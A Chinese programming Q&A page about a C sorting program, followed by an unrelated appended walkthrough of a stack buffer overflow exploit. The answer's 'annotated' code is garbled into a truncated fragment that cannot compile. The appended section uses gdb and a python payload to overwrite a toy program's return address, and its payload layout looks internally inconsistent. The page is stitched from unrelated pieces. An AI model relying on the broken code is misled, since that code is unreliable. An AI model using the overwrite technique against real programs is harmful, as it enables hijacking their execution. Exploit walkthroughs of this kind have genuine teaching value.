综合排序c语言编程,C语言排序程序,#include void sort(int* a,int n){\x05int t;\x05for (

问题描述:

C语言排序程序,

#include

void sort(int* a,int n)

{

\x05int t;

\x05for (int i = 0; i < n; i++)

\x05{

\x05\x05for (int j = i+1; j < n; j++)

\x05\x05{

\x05\x05\x05if(*(a+i) > *(a+j))

\x05\x05\x05{

\x05\x05\x05\x05t = *(a+i);

\x05\x05\x05\x05*(a+i) = *(a+j);

\x05\x05\x05\x05*(a+j) = t;

\x05\x05\x05}

\x05\x05}

\x05}

}

void output(int* a,int n)

{

\x05for (int i = 0; i < n; i++)

\x05\x05printf("%d ",*(a+i));

\x05printf("\n");

}

void input(int* a,int n)

{

\x05for (int i = 0; i < n; i++)

\x05\x05scanf("%d",(a+i));

}

int main()

{

\x05int a[10];

\x05input(a,10);

\x05sort(a,10);

\x05output(a,10);

\x05return 0;

}

1个回答

分类:

综合

2014-11-05

问题解答:

我来补答

已帮你注释:

#include

void sort(int* a, int n)

{

int t;

for (int i = 0; i < n; i++)//输出数组a

return 0;

}

希望回答能帮到你,哪里不清楚再问.

再问: void sort是什么意思呢,为什么不是void main呢 还有void output,就这些不懂了,谢谢你啊

再答: 你也可以用void main()只需要把return 0;去掉, 什么是void?就是没有的意思,函数返回型如果为void就是不用返回的意思, 为什么不用返回?在你的程序中对数组进行排序输出需要返回什么吗?不需要的, 因为数组传递的是地址,直接对地址处的数据操作。 如果能帮到你,望采纳。

展开全文阅读

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我们可以看到在foo函数中,有一个strcpy函数,它的作用是将输入的字符串复制到一个长度为10的字符数组buf中。但是,这里没有对输入的字符串进行长度检查,如果输入的字符串长度大于10,就会发生缓冲区溢出的情况。我们可以利用这个漏洞,来控制程序的执行流程,使得bar函数被执行。 为了实现这个目的,我们需要输入一个长度超过10的字符串,并在其中插入bar函数的地址。我们可以通过调试程序,来查看bar函数的地址。 首先编译程序,并使用gdb调试: ``` $ gcc -g -o vul vul.c $ gdb vul ``` 在gdb中设置断点,以便我们能够观察foo函数的执行过程: ``` (gdb) break foo Breakpoint 1 at 0x4005c6 ``` 然后运行程序,并输入一个较长的字符串: ``` (gdb) run `python -c 'print "A"*20'` Starting program: /home/user/vul `python -c 'print "A"*20'` Breakpoint 1, foo (input=0x7fffffffe3c0 'A' <repeats 19 times>) at vul.c:8 8 printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); ``` 我们可以看到,程序在执行到foo函数中的第8行时,暂停了下来。我们可以使用gdb来查看此时栈的情况,以确定我们需要输入的字符串的格式。 ``` (gdb) x/32x $rsp 0x7fffffffe2d0: 0x00007fffffffe2e0 0x00000000004006d3 0x7fffffffe2e0: 0x00007fffffffe3c0 0x000000000040052a 0x7fffffffe2f0: 0x0000000100000000 0x00000000004006e5 0x7fffffffe300: 0x0000000000000000 0x00007fffffffe3c0 0x7fffffffe310: 0x0000000000400770 0x00007fffffffe3c0 0x7fffffffe320: 0x0000000000000000 0x00000000004005c2 0x7fffffffe330: 0x0000000000000000 0x0000000000000000 0x7fffffffe340: 0x0000000000000000 0x00000000004004e0 ``` 我们可以看到,栈中保存了函数的返回地址、参数input的地址,以及其他一些局部变量的地址。我们需要找到buf的地址,以及返回地址的地址,以便我们能够修改返回地址,使得程序执行bar函数。 根据程序的代码,我们可以知道,buf的地址是比返回地址的地址更低的地址。在这里,我们可以看到,buf的地址为0x7fffffffe3c0,而返回地址的地址为0x7fffffffe308。因此,我们需要构造一个字符串,使得它的前面部分填满buf,后面部分填写返回地址的地址,以及bar函数的地址。 我们可以使用python来生成这个字符串: ``` $ python -c 'print "A"*12 + "\x08\xe3\xff\xff\xff\x7f\x00\x00" + "\xd0\xe2\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00" + "\x2a\x05\x40\x00\x00\x00\x00\x00"' > payload ``` 这个字符串的前12个字符是用来填满buf的,接下来的8个字符是返回地址的地址,最后8个字符是bar函数的地址。我们将这个字符串保存在一个文件中,然后将这个文件作为程序的输入: ``` (gdb) run $(cat payload) Starting program: /home/user/vul $(cat payload) My stack looks like: 0x7fffffffe2d0 0x4006d3 0x7fffffffe3c0 0x40052a (nil) (nil) Aaaaaaaaaaaa Now the stack looks like : 0x7fffffffe2d0 0x4006d3 0x7fffffffe3c0 0x40052a 0x7fffffffe3d0 0x40077f Augh! I've been hacked! [Inferior 1 (process 6463) exited normally] ``` 我们可以看到,程序成功地执行了bar函数,并输出了相应的信息。通过这个漏洞,我们成功地控制了程序的执行流程,实现了攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值